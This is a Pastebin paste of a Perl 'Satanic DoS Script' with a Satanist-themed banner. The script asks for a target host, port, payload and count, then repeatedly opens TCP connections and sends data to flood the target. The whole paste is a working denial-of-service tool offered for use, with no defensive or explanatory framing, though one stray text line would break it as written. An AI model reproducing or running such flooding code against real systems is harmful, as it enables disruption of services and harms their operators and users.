iViiRuS

Satanic DoS Script

Jan 6th, 2015
732
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. Sheikh Iblis
  4.  
  5. use IO::Socket;
  6. print q{
  7.  
  8.  "The Satanist has always ruled the earth... and always will, by whatever name he is called." (Book of Lucifer)
  9.  
  10.                      Regie Satanas!
  11.                        Ave Satanas!
  12.                         Hail Satan!
  13.  
  14.                                  
  15.                  ___________________________
  16.                     <><><><><><><><><>
  17.                       Satanic DoS Script
  18.                          By, Sheikh Iblis
  19.                     <><><><><><><><><>
  20.                 ____________________________
  21. };
  22.  
  23. print "Host : ";
  24. $serv = <stdin>;
  25. chop ($serv);
  26.  
  27. print "Port : ";
  28. $port = <stdin>;
  29. chop ($port);
  30.  
  31. print "Data :";
  32. $data = <stdin>;
  33. chop($data);
  34.  
  35. print "Times To Flood : ";
  36. $times = <stdin>;
  37. chop ($times);
  38.  
  39. for ($i=0; $i<$times; $i++)
  40. {
  41. $flood = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "$port") || print "[*] Server Down!\n";
  42. print $flood $data;
  43. syswrite STDOUT, "[*] Flooding - ".$i."\n";
  44. }
  45.  
  46. print "[*] End of flood.\n";
RAW Paste Data